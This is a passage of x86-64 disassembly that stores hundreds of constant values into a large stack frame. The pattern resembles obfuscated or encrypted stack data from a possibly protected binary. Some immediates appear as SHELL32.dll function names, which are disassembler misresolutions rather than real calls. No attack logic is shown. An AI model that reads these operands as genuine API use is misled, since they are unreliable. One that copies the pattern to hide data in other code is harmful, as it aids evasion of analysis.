mov byte [rsp + 0x20a], 0x5e
mov dword [rsp + 0x6fb4], 0xa38a
mov dword [rsp + 0x6fb8], 0xb781
mov byte [rsp + 0x20b], 0x7e
mov byte [rsp + 0x20c], 0x1c
mov byte [rsp + 0x20d], 0xc6
mov eax, 0xb8b
mov word [rsp + 0x1870], ax
mov eax, 0x743
mov word [rsp + 0x1874], ax
movabs rax, 0x723c17eed35a4b
mov qword [rsp + 0xdc48], rax
mov eax, 0x307
mov word [rsp + 0x1878], ax
mov dword [rsp + 0x6fbc], 0xcc89
movabs rax, 0x7be7f6cf2384a7
mov qword [rsp + 0xdc50], rax
movabs rax, 0x79c4839979eaf0
mov qword [rsp + 0xdc58], rax
mov byte [rsp + 0x20e], 0x3a
mov byte [rsp + 0x20f], 0x34
mov dword [rsp + 0x6fc0], 0xce93
mov dword [rsp + 0x6fc4], 0xb26e
mov eax, 0x66f
mov word [rsp + 0x187c], ax
mov eax, 0x3a5
mov word [rsp + 0x1880], ax
mov eax, 0xfe
mov word [rsp + 0x1884], ax
movabs rax, 0x7aa2b0fc1537cc
mov qword [rsp + 0xdc60], rax
movabs rax, 0x7e63addf2c8532
mov qword [rsp + 0xdc68], rax
mov dword [rsp + 0x6fc8], 0x2ad2
movabs rax, 0x73fb51cda00eeb
mov qword [rsp + 0xdc70], rax
movabs rax, 0x7a2d44198edaba
mov qword [rsp + 0xdc78], rax
mov eax, 0x3d6
mov word [rsp + 0x1888], ax
mov dword [rsp + 0x6fcc], 0xa9ad
mov dword [rsp + 0x6fd0], 0xe189
mov byte [rsp + 0x210], 0x5c
mov byte [rsp + 0x211], 0xee
movabs rax, 0x781c3358fa73ff
mov qword [rsp + 0xdc80], rax
mov eax, 0x1f0
mov word [rsp + 0x188c], ax
mov dword [rsp + 0x6fd4], 0x2db0
mov dword [rsp + 0x6fd8], 0x3c45
mov dword [rsp + 0x6fdc], 0xed9e
mov byte [rsp + 0x212], 0x39
mov byte [rsp + 0x213], 0x87
mov byte [rsp + 0x214], PathMakeUniqueName
mov dword [rsp + 0x6fe0], 0x7915
mov eax, 0x7a4
mov word [rsp + 0x1890], ax
mov eax, 0xd97
mov word [rsp + 0x1894], ax
mov dword [rsp + 0x6fe4], 0x28c8
movabs rax, 0x7764a29fddbaa2
mov qword [rsp + 0xdc88], rax
mov dword [rsp + 0x6fe8], 0x3dc5
movabs rax, 0x7d6bf508c7af08
mov qword [rsp + 0xdc90], rax
movabs rax, 0x71e5d45bcce0bc
mov qword [rsp + 0xdc98], rax
mov byte [rsp + 0x215], 0xc1
mov dword [rsp + 0x6fec], 0xf343
movabs rax, 0x7ab6f667a7f3a3
mov qword [rsp + 0xdca0], rax
mov byte [rsp + 0x216], 0xd5
mov byte [rsp + 0x217], 0xdd
mov dword [rsp + 0x6ff0], 0xfd3e
mov dword [rsp + 0x6ff4], 0x3cca
mov dword [rsp + 0x6ff8], 0x113c
mov dword [rsp + 0x6ffc], 0x365
movabs rax, 0x7428332f95506d
mov qword [rsp + 0xdca8], rax
mov dword [rsp + 0x7000], 0x7a4c
mov dword [rsp + 0x7004], 0x73b4
mov dword [rsp + 0x7008], 0x1802
mov dword [rsp + 0x700c], 0xa8b8
mov byte [rsp + 0x218], 0x68
movabs rax, 0x78d41a8870f013
mov qword [rsp + 0xdcb0], rax
mov dword [rsp + 0x7010], 0x813e
mov byte [rsp + 0x219], ILRemoveLastID
mov dword [rsp + 0x7014], 0x6da9
movabs rax, 0x7cb477e7737984
mov qword [rsp + 0xdcb8], rax
mov eax, 0x862
mov word [rsp + 0x1898], ax
mov byte [rsp + 0x21a], 0x1a
mov dword [rsp + 0x7018], 0xf98c
movabs rax, 0x7994024b9a4fc4
mov qword [rsp + 0xdcc0], rax
mov byte [rsp + 0x21b], SHDoDragDrop
movabs rax, 0x764ad69b59dd46
mov qword [rsp + 0xdcc8], rax
movabs rax, 0x7b46f0531a0366
mov qword [rsp + 0xdcd0], rax
mov dword [rsp + 0x701c], 0x6461
movabs rax, 0x7325aefee38347
mov qword [rsp + 0xdcd8], rax
mov byte [rsp + 0x21c], 0xda
mov byte [rsp + 0x21d], 0x69
movabs rax, 0x769e51511e8a0c
mov qword [rsp + 0xdce0], rax
mov byte [rsp + 0x21e], 0xcc
mov dword [rsp + 0x7020], 0x251a
mov dword [rsp + 0x7024], 0x1bd
mov dword [rsp + 0x7028], 0x433a
mov dword [rsp + 0x702c], 0xe7a7
mov byte [rsp + 0x21f], 0x20
mov dword [rsp + 0x7030], 0x6e54
movabs rax, 0x70a02a50888054
mov qword [rsp + 0xdce8], rax
mov eax, 0x3f7
mov word [rsp + 0x189c], ax
mov byte [rsp + 0x220], ILCreateFromPathW
mov byte [rsp + 0x221], ILGetNext
mov eax, 0x694
mov word [rsp + 0x18a0], ax
mov dword [rsp + 0x7034], 0x8dac
mov eax, 0x790
mov word [rsp + 0x18a4], ax
movabs rax, 0x7432a81e28611f
mov qword [rsp + 0xdcf0], rax
movabs rax, 0x7823b7be383aea
mov qword [rsp + 0xdcf8], rax
mov eax, 0x56f
mov word [rsp + 0x18a8], ax
mov eax, 0x454
mov word [rsp + 0x18ac], ax
mov byte [rsp + 0x222], ILRemoveLastID
mov dword [rsp + 0x7038], 0xe65e
mov dword [rsp + 0x703c], 0x134a
mov eax, 0x5ae
mov word [rsp + 0x18b0], ax
mov eax, 0xd9e
mov word [rsp + 0x18b4], ax
movabs rax, 0x74db75776dea5b
mov qword [rsp + 0xdd00], rax
mov byte [rsp + 0x223], reloc.SHELL32.dll_ILFindChild
mov eax, 0x46e
mov word [rsp + 0x18b8], ax
movabs rax, 0x77d2ebddacb880
mov qword [rsp + 0xdd08], rax
movabs rax, 0x7e174565549f02
mov qword [rsp + 0xdd10], rax
mov byte [rsp + 0x224], 0x9c
mov byte [rsp + 0x225], SHSetInstanceExplorer
mov dword [rsp + 0x7040], 0xc0c7
mov dword [rsp + 0x7044], 0xe78a
mov dword [rsp + 0x7048], 0xb57e
movabs rax, 0x73b180a5d1583c
mov qword [rsp + 0xdd18], rax
mov eax, 0x939
mov word [rsp + 0x18bc], ax
mov eax, 0x7fe
mov word [rsp + 0x18c0], ax
movabs rax, 0x7e36ba2a934af7
mov qword [rsp + 0xdd20], rax
mov eax, 0x51d
mov word [rsp + 0x18c4], ax
mov dword [rsp + 0x704c], 0xeae8
mov byte [rsp + 0x226], 0xca
movabs rax, 0x710b50fb2ae79b
mov qword [rsp + 0xdd28], rax
mov dword [rsp + 0x7050], 0xb9b7
mov eax, 0xe2
mov word [rsp + 0x18c8], ax
mov byte [rsp + 0x227], 0x43
movabs rax, 0x792d7223ef8a3d
mov qword [rsp + 0xdd30], rax
mov byte [rsp + 0x228], 4
movabs rax, 0x76c9019ae6f5e6
mov qword [rsp + 0xdd38], rax
mov dword [rsp + 0x7054], 0xf658
movabs rax, 0x715e56a796adeb
mov qword [rsp + 0xdd40], rax
mov dword [rsp + 0x7058], 0xb779
movabs rax, 0x7308ff95dd2d41
mov qword [rsp + 0xdd48], rax
mov eax, 0x9d8
mov word [rsp + 0x18cc], ax
mov eax, 0x679
mov word [rsp + 0x18d0], ax
movabs rax, 0x78c219651bd104
mov qword [rsp + 0xdd50], rax
mov eax, 0x1e0
mov word [rsp + 0x18d4], ax
mov dword [rsp + 0x705c], 0xb0bb
mov eax, 0x37f
mov word [rsp + 0x18d8], ax
movabs rax, 0x71dbb28df51034
mov qword [rsp + 0xdd58], rax
movabs rax, 0x72d25b65cd59ab
mov qword [rsp + 0xdd60], rax
movabs rax, 0x7477f2e7568f15
mov qword [rsp + 0xdd68], rax
mov dword [rsp + 0x7060], 0xb135
mov eax, 0x168
mov word [rsp + 0x18dc], ax
mov dword [rsp + 0x7064], 0x12ff
mov byte [rsp + 0x229], 0x8e
mov dword [rsp + 0x7068], 0x36a6
mov eax, 0x611
mov word [rsp + 0x18e0], ax
mov eax, 0x234
mov word [rsp + 0x18e4], ax
mov dword [rsp + 0x706c], 0x6762
mov eax, 0xc8
mov word [rsp + 0x18e8], ax
mov eax, 0xeec
mov word [rsp + 0x18ec], ax
mov eax, 0x382
mov word [rsp + 0x18f0], ax
movabs rax, 0x7895715f3ebf2c
mov qword [rsp + 0xdd70], rax
mov dword [rsp + 0x7070], 0x3f47
mov dword [rsp + 0x7074], 0x48d1
mov eax, 0x372
mov word [rsp + 0x18f4], ax
movabs rax, 0x70c9dd1c56ad00
mov qword [rsp + 0xdd78], rax
movabs rax, 0x7e1ee32e316920
mov qword [rsp + 0xdd80], rax
mov eax, 0x5b6
mov word [rsp + 0x18f8], ax
movabs rax, 0x77a82dd78a1d05
mov qword [rsp + 0xdd88], rax
movabs rax, 0x727c3ee5b79b26
mov qword [rsp + 0xdd90], rax
movabs rax, 0x7557aeb80f536e
mov qword [rsp + 0xdd98], rax
mov eax, 0x32f
mov word [rsp + 0x18fc], ax
mov eax, 0xaa9
mov word [rsp + 0x1900], ax
mov eax, 0xcbe
mov word [rsp + 0x1904], ax
mov eax, 0x67e
mov word [rsp + 0x1908], ax
mov dword [rsp + 0x7078], 0xc2e1
mov dword [rsp + 0x707c], 0x6e7a
mov byte [rsp + 0x22a], SHDoDragDrop
movabs rax, 0x7bb628d81f746d
mov qword [rsp + 0xdda0], rax
mov dword [rsp + 0x7080], 0x8ab
mov byte [rsp + 0x22b], 0x43
movabs rax, 0x7890eee202a22b
mov qword [rsp + 0xdda8], rax
movabs rax, 0x79ada318d44353
mov qword [rsp + 0xddb0], rax
mov eax, 0x58d
mov word [rsp + 0x190c], ax
mov dword [rsp + 0x7084], 0xea8
movabs rax, 0x7ed01ed8cb48b8
mov qword [rsp + 0xddb8], rax
movabs rax, 0x7e74b6b58f4b5e
mov qword [rsp + 0xddc0], rax
movabs rax, 0x72cb3bf2a714c1
mov qword [rsp + 0xddc8], rax
mov byte [rsp + 0x22c], 0x64
mov dword [rsp + 0x7088], 0x2445
mov dword [rsp + 0x708c], 0x3ce5
movabs rax, 0x79b0fc25481cb3
mov qword [rsp + 0xddd0], rax
movabs rax, 0x74013b16c3b357
mov qword [rsp + 0xddd8], rax
mov byte [rsp + 0x22d], 0x77
mov eax, 0x31a
mov word [rsp + 0x1910], ax
mov byte [rsp + 0x22e], 0x27
movabs rax, 0x79439d7e5be2c0
mov qword [rsp + 0xdde0], rax
mov dword [rsp + 0x7090], 0xc363
mov dword [rsp + 0x7094], 0x4485
mov byte [rsp + 0x22f], 0x4d
mov byte [rsp + 0x230], 0x5a
mov byte [rsp + 0x231], ILRemoveLastID
movabs rax, 0x7bf0bd1be99ed5
mov qword [rsp + 0xdde8], rax
mov dword [rsp + 0x7098], 0x78f2
mov dword [rsp + 0x709c], 0x83ef
movabs rax, 0x745c800788dcce
mov qword [rsp + 0xddf0], rax
mov byte [rsp + 0x232], 0xcb
mov dword [rsp + 0x70a0], 0x54e3
movabs rax, 0x7d3d4d5dc46929
mov qword [rsp + 0xddf8], rax
mov byte [rsp + 0x233], 0x65
mov byte [rsp + 0x234], ILGetNext
mov eax, 0x7c2
mov word [rsp + 0x1914], ax
mov byte [rsp + 0x235], 0xc3
mov dword [rsp + 0x70a4], 0x54a2
movabs rax, 0x7d05cad634158b
mov qword [rsp + 0xde00], rax
mov byte [rsp + 0x236], 0x59
mov eax, 0xafd
mov word [rsp + 0x1918], ax
movabs rax, 0x7dcdeaf308e60d
mov qword [rsp + 0xde08], rax
mov byte [rsp + 0x237], 0x4f
movabs rax, 0x72e14d72deb3f7
mov qword [rsp + 0xde10], rax
mov dword [rsp + 0x70a8], 0x3161
mov dword [rsp + 0x70ac], 0xe8d4
movabs rax, 0x765e293fb7096d
mov qword [rsp + 0xde18], rax
movabs rax, 0x7adfc5e2cb179e
mov qword [rsp + 0xde20], rax
movabs rax, 0x790d399f1f61e2
mov qword [rsp + 0xde28], rax
mov eax, 0x1c9
mov word [rsp + 0x191c], ax
movabs rax, 0x798665505e9d19
mov qword [rsp + 0xde30], rax
mov eax, 0x143
mov word [rsp + 0x1920], ax
mov eax, 0x7cd
mov word [rsp + 0x1924], ax
mov dword [rsp + 0x70b0], 0x44ec
movabs rax, 0x729344e2d3a463
mov qword [rsp + 0xde38], rax
mov dword [rsp + 0x70b4], 0xba27
movabs rax, 0x7a0a563275edf4
mov qword [rsp + 0xde40], rax
mov dword [rsp + 0x70b8], 0x891e
movabs rax, 0x7be44dc39e2a68
mov qword [rsp + 0xde48], rax
movabs rax, 0x7d70f27175f646
mov qword [rsp + 0xde50], rax
mov eax, 0x458
mov word [rsp + 0x1928], ax
movabs rax, 0x7b7a1ffcce76be
mov qword [rsp + 0xde58], rax
mov eax, 0xd3c
mov word [rsp + 0x192c], ax
mov eax, pe_nt_image_headers64
mov word [rsp + 0x1930], ax
movabs rax, 0x76a50940f5046e
mov qword [rsp + 0xde60], rax
movabs rax, 0x7914fc2eab14f1
mov qword [rsp + 0xde68], rax
movabs rax, 0x77b9f1d93885da
mov qword [rsp + 0xde70], rax
movabs rax, 0x716cb6479b95e2
mov qword [rsp + 0xde78], rax
mov dword [rsp + 0x70bc], 0x6240
mov byte [rsp + 0x238], 0x6e
mov byte [rsp + 0x239], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x23a], reloc.SHELL32.dll_ILClone
movabs rax, 0x77cd8155fd757d
mov qword [rsp + 0xde80], rax
mov eax, 0x1a7
mov word [rsp + 0x1934], ax
mov byte [rsp + 0x23b], 0x77
movabs rax, 0x747bfa0c5f5d5f
mov qword [rsp + 0xde88], rax
mov eax, 0xc6
mov word [rsp + 0x1938], ax
mov dword [rsp + 0x70c0], 0x8b95
mov eax, 0x2b8
mov word [rsp + 0x193c], ax
mov eax, 0x3d6
mov word [rsp + 0x1940], ax
movabs rax, 0x702e413fc24585
mov qword [rsp + 0xde90], rax
mov dword [rsp + 0x70c4], 0xb13b
mov eax, 0xac0
mov word [rsp + 0x1944], ax
mov dword [rsp + 0x70c8], 0x7cc4
mov byte [rsp + 0x23c], 0x1e
movabs rax, 0x73cef050d5d634
mov qword [rsp + 0xde98], rax
mov eax, 0x5dd
mov word [rsp + 0x1948], ax
movabs rax, 0x764a03d720250d
mov qword [rsp + 0xdea0], rax
mov eax, 0xed2
mov word [rsp + 0x194c], ax
mov dword [rsp + 0x70cc], 0xa8d
mov byte [rsp + 0x23d], 0x9e
mov eax, 0x3e9
mov word [rsp + 0x1950], ax
mov dword [rsp + 0x70d0], 0x60be
movabs rax, 0x75399f92d8cf46
mov qword [rsp + 0xdea8], rax
mov eax, 0x4e0
mov word [rsp + 0x1954], ax
movabs rax, 0x77aa2d3bb88dae
mov qword [rsp + 0xdeb0], rax
mov byte [rsp + 0x23e], 0
movabs rax, 0x7d0e7e4df6eb34
mov qword [rsp + 0xdeb8], rax
movabs rax, 0x72287fc3ba9807
mov qword [rsp + 0xdec0], rax
mov dword [rsp + 0x70d4], 0x583d
movabs rax, 0x742369dc9683a6
mov qword [rsp + 0xdec8], rax
mov byte [rsp + 0x23f], 3
mov byte [rsp + 0x240], 0x75
mov dword [rsp + 0x70d8], 0x2692
movabs rax, 0x71e14a2ee889be
mov qword [rsp + 0xded0], rax
mov dword [rsp + 0x70dc], 0x4de2
mov dword [rsp + 0x70e0], 0x212e
movabs rax, 0x78214f854ea91b
mov qword [rsp + 0xded8], rax
mov dword [rsp + 0x70e4], 0xa36b
mov dword [rsp + 0x70e8], 0x35d6
mov byte [rsp + 0x241], 0x89
mov eax, 0x3d8
mov word [rsp + 0x1958], ax
mov dword [rsp + 0x70ec], 0x4fc6
mov eax, 0x46b
mov word [rsp + 0x195c], ax
mov eax, 0x116
mov word [rsp + 0x1960], ax
mov dword [rsp + 0x70f0], 0x77d4
mov byte [rsp + 0x242], 0x7b
mov dword [rsp + 0x70f4], 0x5e6
mov eax, 0x692
mov word [rsp + 0x1964], ax
movabs rax, 0x7a0c129be0a403
mov qword [rsp + 0xdee0], rax
mov byte [rsp + 0x243], 0xa2
mov dword [rsp + 0x70f8], 0x5fb3
mov byte [rsp + 0x244], 0x75
mov dword [rsp + 0x70fc], 0xc9c3
mov eax, 0x7a2
mov word [rsp + 0x1968], ax
movabs rax, 0x791f13ace9482c
mov qword [rsp + 0xdee8], rax
mov byte [rsp + 0x245], SHDoDragDrop
mov eax, 0x1ce
mov word [rsp + 0x196c], ax
mov dword [rsp + 0x7100], 0x240f
mov dword [rsp + 0x7104], 0x2ef
movabs rax, 0x76c982236a2957
mov qword [rsp + 0xdef0], rax
movabs rax, 0x7367bceba9bd7f
mov qword [rsp + 0xdef8], rax
mov eax, 0x72b
mov word [rsp + 0x1970], ax
mov dword [rsp + 0x7108], 0x23db
movabs rax, 0x79caba369ef82f
mov qword [rsp + 0xdf00], rax
mov byte [rsp + 0x246], 8
mov byte [rsp + 0x247], 0xc2
movabs rax, 0x74923574a166f2
mov qword [rsp + 0xdf08], rax
mov eax, 0x4b1
mov word [rsp + 0x1974], ax
mov dword [rsp + 0x710c], 0x9623
mov eax, 0x9c3
mov word [rsp + 0x1978], ax
movabs rax, 0x77a1d6e7861070
mov qword [rsp + 0xdf10], rax
mov dword [rsp + 0x7110], 0x21ca
mov byte [rsp + 0x248], 0x41
mov eax, 0x1d6
mov word [rsp + 0x197c], ax
mov byte [rsp + 0x249], 0xcc
mov byte [rsp + 0x24a], PathMakeUniqueName
mov byte [rsp + 0x24b], PathMakeUniqueName
movabs rax, 0x7c2d2d156df1a2
mov qword [rsp + 0xdf18], rax
mov dword [rsp + 0x7114], 0x513f
movabs rax, 0x77a4b2ddae67a7
mov qword [rsp + 0xdf20], rax
mov byte [rsp + 0x24c], 0x1d
movabs rax, 0x7c8320adcc4fc4
mov qword [rsp + 0xdf28], rax
mov byte [rsp + 0x24d], 0xf8
mov byte [rsp + 0x24e], ILIsParent
movabs rax, 0x79ffdbbfd1f267
mov qword [rsp + 0xdf30], rax
movabs rax, 0x7a43dc682d603d
mov qword [rsp + 0xdf38], rax
mov dword [rsp + 0x7118], 0x739d
movabs rax, 0x76f6cea5779ef2
mov qword [rsp + 0xdf40], rax
movabs rax, 0x7097f0ce1256dd
mov qword [rsp + 0xdf48], rax
mov dword [rsp + 0x711c], 0xec97
mov dword [rsp + 0x7120], 0x4e3
mov dword [rsp + 0x7124], 0xa43
mov byte [rsp + 0x24f], 0xd6
mov byte [rsp + 0x250], 0x8b
mov dword [rsp + 0x7128], 0x176b
mov dword [rsp + 0x712c], 0xedf3
mov dword [rsp + 0x7130], 0xb9de
mov dword [rsp + 0x7134], 0x6741
movabs rax, 0x79e4a399acd21b
mov qword [rsp + 0xdf50], rax
mov byte [rsp + 0x251], PathYetAnotherMakeUniqueName
mov eax, 0x69f
mov word [rsp + 0x1980], ax
movabs rax, 0x7c6a54f56b7197
mov qword [rsp + 0xdf58], rax
movabs rax, 0x722381f62d840d
mov qword [rsp + 0xdf60], rax
movabs rax, 0x7b5487ff9c72c2
mov qword [rsp + 0xdf68], rax
mov byte [rsp + 0x252], 0x31
movabs rax, 0x7c0261afa25f93
mov qword [rsp + 0xdf70], rax
mov dword [rsp + 0x7138], 0x6627
mov byte [rsp + 0x253], 0x4d
mov dword [rsp + 0x713c], 0x307
mov eax, 0x2bb
mov word [rsp + 0x1984], ax
mov eax, 0x7fb
mov word [rsp + 0x1988], ax
movabs rax, 0x74e542e2317668
mov qword [rsp + 0xdf78], rax
movabs rax, 0x7ceb6667600037
mov qword [rsp + 0xdf80], rax
movabs rax, 0x74895d4e70fda9
mov qword [rsp + 0xdf88], rax
movabs rax, 0x7e48ba6ca3bd9a
mov qword [rsp + 0xdf90], rax
mov dword [rsp + 0x7140], 0xff89
movabs rax, 0x7c34618fd1847e
mov qword [rsp + 0xdf98], rax
mov eax, 0x3f1
mov word [rsp + 0x198c], ax
mov dword [rsp + 0x7144], 0xa07e
mov dword [rsp + 0x7148], 0x568c
mov dword [rsp + 0x714c], 0xd5a
movabs rax, 0x70a5526641b9cb
mov qword [rsp + 0xdfa0], rax
mov eax, 0x4a6
mov word [rsp + 0x1990], ax
mov dword [rsp + 0x7150], 0x53a0
mov byte [rsp + 0x254], 0xb6
movabs rax, 0x762d3b9c7b4a99
mov qword [rsp + 0xdfa8], rax
mov eax, ILFindLastID
mov word [rsp + 0x1994], ax
mov byte [rsp + 0x255], 0x7d
movabs rax, 0x70f073bec4f352
mov qword [rsp + 0xdfb0], rax
movabs rax, 0x7ded96e2a62767
mov qword [rsp + 0xdfb8], rax
movabs rax, 0x771e0d171fc484
mov qword [rsp + 0xdfc0], rax
movabs rax, 0x79078d8a47deb9
mov qword [rsp + 0xdfc8], rax
mov eax, 0xdf0
mov word [rsp + 0x1998], ax
mov eax, 0x1a6
mov word [rsp + 0x199c], ax
mov byte [rsp + 0x256], 0x74
mov byte [rsp + 0x257], 0x65
mov dword [rsp + 0x7154], 0x44a6
mov byte [rsp + 0x258], 0xec
mov eax, 0xc9b
mov word [rsp + 0x19a0], ax
movabs rax, 0x714d66e432d8e6
mov qword [rsp + 0xdfd0], rax
movabs rax, 0x73ba4688f17c0e
mov qword [rsp + 0xdfd8], rax
mov byte [rsp + 0x259], 0x9f
mov dword [rsp + 0x7158], 0xa49
mov eax, 0xc44
mov word [rsp + 0x19a4], ax
mov byte [rsp + 0x25a], 0x6d
mov byte [rsp + 0x25b], 0xa
mov byte [rsp + 0x25c], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov byte [rsp + 0x25d], 0xb5
mov eax, 0x358
mov word [rsp + 0x19a8], ax
mov byte [rsp + 0x25e], 0xfc
mov eax, 0x476
mov word [rsp + 0x19ac], ax
movabs rax, 0x72a9747e1b7026
mov qword [rsp + 0xdfe0], rax
movabs rax, 0x717e9444e66733
mov qword [rsp + 0xdfe8], rax
movabs rax, 0x79d46a1c1aabae
mov qword [rsp + 0xdff0], rax
mov eax, 0x7a6
mov word [rsp + 0x19b0], ax
mov byte [rsp + 0x25f], 0x72
mov byte [rsp + 0x260], 9
movabs rax, 0x74f6435256e1f9
mov qword [rsp + 0xdff8], rax
mov eax, 0x3d2
mov word [rsp + 0x19b4], ax
mov byte [rsp + 0x261], 3
mov dword [rsp + 0x715c], 0x69af
mov dword [rsp + 0x7160], 0x2f40
mov dword [rsp + 0x7164], 0xab62
movabs rax, 0x765793a5e66d22
mov qword [rsp + 0xe000], rax
mov byte [rsp + 0x262], 0x73
mov byte [rsp + 0x263], 0x7c
movabs rax, 0x76c0c7164e823a
mov qword [rsp + 0xe008], rax
movabs rax, 0x7e7c2d1d520277
mov qword [rsp + 0xe010], rax
movabs rax, 0x7d4660a960a4c3
mov qword [rsp + 0xe018], rax
mov dword [rsp + 0x7168], 0x7881
mov eax, 0x45f
mov word [rsp + 0x19b8], ax
movabs rax, 0x7c24763f917061
mov qword [rsp + 0xe020], rax
mov eax, 0x4b6
mov word [rsp + 0x19bc], ax
movabs rax, 0x7944ccf38eb58f
mov qword [rsp + 0xe028], rax
mov byte [rsp + 0x264], 0x4d
mov byte [rsp + 0x265], 0x3b
movabs rax, 0x75c16ea7668a30
mov qword [rsp + 0xe030], rax
mov dword [rsp + 0x716c], 0x1cb2
mov eax, 0x2ba
mov word [rsp + 0x19c0], ax
mov byte [rsp + 0x266], 0x73
mov eax, 0x57d
mov word [rsp + 0x19c4], ax
mov dword [rsp + 0x7170], 0x6311
mov byte [rsp + 0x267], 0x73
movabs rax, 0x7afd15147556c9
mov qword [rsp + 0xe038], rax
movabs rax, 0x7cd0d4baac0e06
mov qword [rsp + 0xe040], rax
movabs rax, 0x73f7ed1c1287a5
mov qword [rsp + 0xe048], rax
mov dword [rsp + 0x7174], 0xecc
movabs rax, 0x79b56d45b91e8c
mov qword [rsp + 0xe050], rax
movabs rax, 0x7253dbabd55b83
mov qword [rsp + 0xe058], rax
movabs rax, 0x7e4fd059d49a31
mov qword [rsp + 0xe060], rax
mov eax, 0x477
mov word [rsp + 0x19c8], ax
mov dword [rsp + 0x7178], 0xe68a
movabs rax, 0x75cfab05dfbae1
mov qword [rsp + 0xe068], rax
movabs rax, 0x7bd608b4ace92f
mov qword [rsp + 0xe070], rax
mov eax, 0x3cd
mov word [rsp + 0x19cc], ax
movabs rax, 0x7b61551b522b5f
mov qword [rsp + 0xe078], rax
mov dword [rsp + 0x717c], 0x1278
movabs rax, 0x7d842cafc31b73
mov qword [rsp + 0xe080], rax
movabs rax, 0x7201c8a138b78c
mov qword [rsp + 0xe088], rax
movabs rax, 0x71d16292fdb35e
mov qword [rsp + 0xe090], rax
mov eax, 0x497
mov word [rsp + 0x19d0], ax
mov dword [rsp + 0x7180], 0xa3f7
mov eax, 0x7a6
mov word [rsp + 0x19d4], ax
mov eax, 0x7d1
mov word [rsp + 0x19d8], ax
mov eax, 0x77a
mov word [rsp + 0x19dc], ax
mov eax, 0x650
mov word [rsp + 0x19e0], ax
mov eax, 0x6a3
mov word [rsp + 0x19e4], ax
mov eax, 0x3b2
mov word [rsp + 0x19e8], ax
movabs rax, 0x738b0c09ac3c50
mov qword [rsp + 0xe098], rax
movabs rax, 0x76310078aafb8e
mov qword [rsp + 0xe0a0], rax
mov dword [rsp + 0x7184], 0xf007
mov dword [rsp + 0x7188], 0x7a5e
mov byte [rsp + 0x268], SHSetInstanceExplorer
movabs rax, 0x708315a459ba75
mov qword [rsp + 0xe0a8], rax
movabs rax, 0x70b5292a2733be
mov qword [rsp + 0xe0b0], rax
movabs rax, 0x75881dfc37536f
mov qword [rsp + 0xe0b8], rax
mov eax, 0x89e
mov word [rsp + 0x19ec], ax
mov dword [rsp + 0x718c], 0x468c
mov byte [rsp + 0x269], 0x60
mov eax, 0xb37
mov word [rsp + 0x19f0], ax
mov dword [rsp + 0x7190], 0x471f
mov byte [rsp + 0x26a], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x7194], 0x48af
mov dword [rsp + 0x7198], 0xc426
mov byte [rsp + 0x26b], 0x6d
mov dword [rsp + 0x719c], 0x11a4
mov eax, 0x6fa
mov word [rsp + 0x19f4], ax
mov eax, 0x2dc
mov word [rsp + 0x19f8], ax
mov byte [rsp + 0x26c], 0x8e
mov dword [rsp + 0x71a0], 0xecdd
mov eax, 0x952
mov word [rsp + 0x19fc], ax
mov byte [rsp + 0x26d], 0x9f
mov byte [rsp + 0x26e], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x71a4], 0xfea
mov eax, 0x21d
mov word [rsp + 0x1a00], ax
mov eax, 4
mov word [rsp + 0x1a04], ax
mov byte [rsp + 0x26f], 8
movabs rax, 0x7b47eedf3adb18
mov qword [rsp + 0xe0c0], rax
mov byte [rsp + 0x270], 0x73
mov dword [rsp + 0x71a8], 0x6a64
mov byte [rsp + 0x271], SHDoDragDrop
mov dword [rsp + 0x71ac], 0xfced
mov eax, 0x1f1
mov word [rsp + 0x1a08], ax
mov dword [rsp + 0x71b0], 0x2609
mov byte [rsp + 0x272], 0x7d
movabs rax, 0x73210945630737
mov qword [rsp + 0xe0c8], rax
movabs rax, 0x757b850a968aa5
mov qword [rsp + 0xe0d0], rax
mov eax, 0x7d2
mov word [rsp + 0x1a0c], ax
mov eax, 0x812
mov word [rsp + 0x1a10], ax
mov eax, 0x4fd
mov word [rsp + 0x1a14], ax
mov dword [rsp + 0x71b4], 0x1239
mov eax, 0x177
mov word [rsp + 0x1a18], ax
mov eax, 0x747
mov word [rsp + 0x1a1c], ax
mov dword [rsp + 0x71b8], 0xb972
movabs rax, 0x7876b413067dc8
mov qword [rsp + 0xe0d8], rax
movabs rax, 0x75a187c041e4de
mov qword [rsp + 0xe0e0], rax
mov dword [rsp + 0x71bc], 0x68c3
mov byte [rsp + 0x273], 0xc4
movabs rax, 0x7a50cec14fc128
mov qword [rsp + 0xe0e8], rax
mov dword [rsp + 0x71c0], 0x26d2
movabs rax, 0x721fa873cfc420
mov qword [rsp + 0xe0f0], rax
mov byte [rsp + 0x274], 0x62
mov byte [rsp + 0x275], 0x43
mov eax, 0xb19
mov word [rsp + 0x1a20], ax
mov dword [rsp + 0x71c4], 0x6df7
mov eax, 0x81
mov word [rsp + 0x1a24], ax
mov byte [rsp + 0x276], 0x71
movabs rax, 0x773f2adef7fdd8
mov qword [rsp + 0xe0f8], rax
movabs rax, 0x7ab3ea6c98940b
mov qword [rsp + 0xe100], rax
mov dword [rsp + 0x71c8], 0x1b75
movabs rax, 0x789bc576931997
mov qword [rsp + 0xe108], rax
movabs rax, 0x7b3e64f00ebc26
mov qword [rsp + 0xe110], rax
movabs rax, 0x72ba621c6b206f
mov qword [rsp + 0xe118], rax
mov byte [rsp + 0x277], 0x22
mov dword [rsp + 0x71cc], 0x327c
movabs rax, 0x727a8f71b8a562
mov qword [rsp + 0xe120], rax
mov byte [rsp + 0x278], 0xd4
mov dword [rsp + 0x71d0], 0x39b5
mov byte [rsp + 0x279], ILGetNext
mov eax, 0x602
mov word [rsp + 0x1a28], ax
movabs rax, 0x7226f88a4ea42a
mov qword [rsp + 0xe128], rax
mov eax, 0x36f
mov word [rsp + 0x1a2c], ax
mov dword [rsp + 0x71d4], 0xda05
movabs rax, 0x78b6f88be1a66b
mov qword [rsp + 0xe130], rax
mov eax, 0x6fc
mov word [rsp + 0x1a30], ax
mov byte [rsp + 0x27a], 0xc5
movabs rax, 0x74a308be4dd6f6
mov qword [rsp + 0xe138], rax
mov eax, 0xe1c
mov word [rsp + 0x1a34], ax
mov dword [rsp + 0x71d8], 0x721
mov eax, 0x647
mov word [rsp + 0x1a38], ax
mov eax, 0x560
mov word [rsp + 0x1a3c], ax
mov eax, 0x5a3
mov word [rsp + 0x1a40], ax
mov eax, 0x1cc
mov word [rsp + 0x1a44], ax
movabs rax, 0x7b6c08f7261fca
mov qword [rsp + 0xe140], rax
movabs rax, 0x7a0d9afcbdab0a
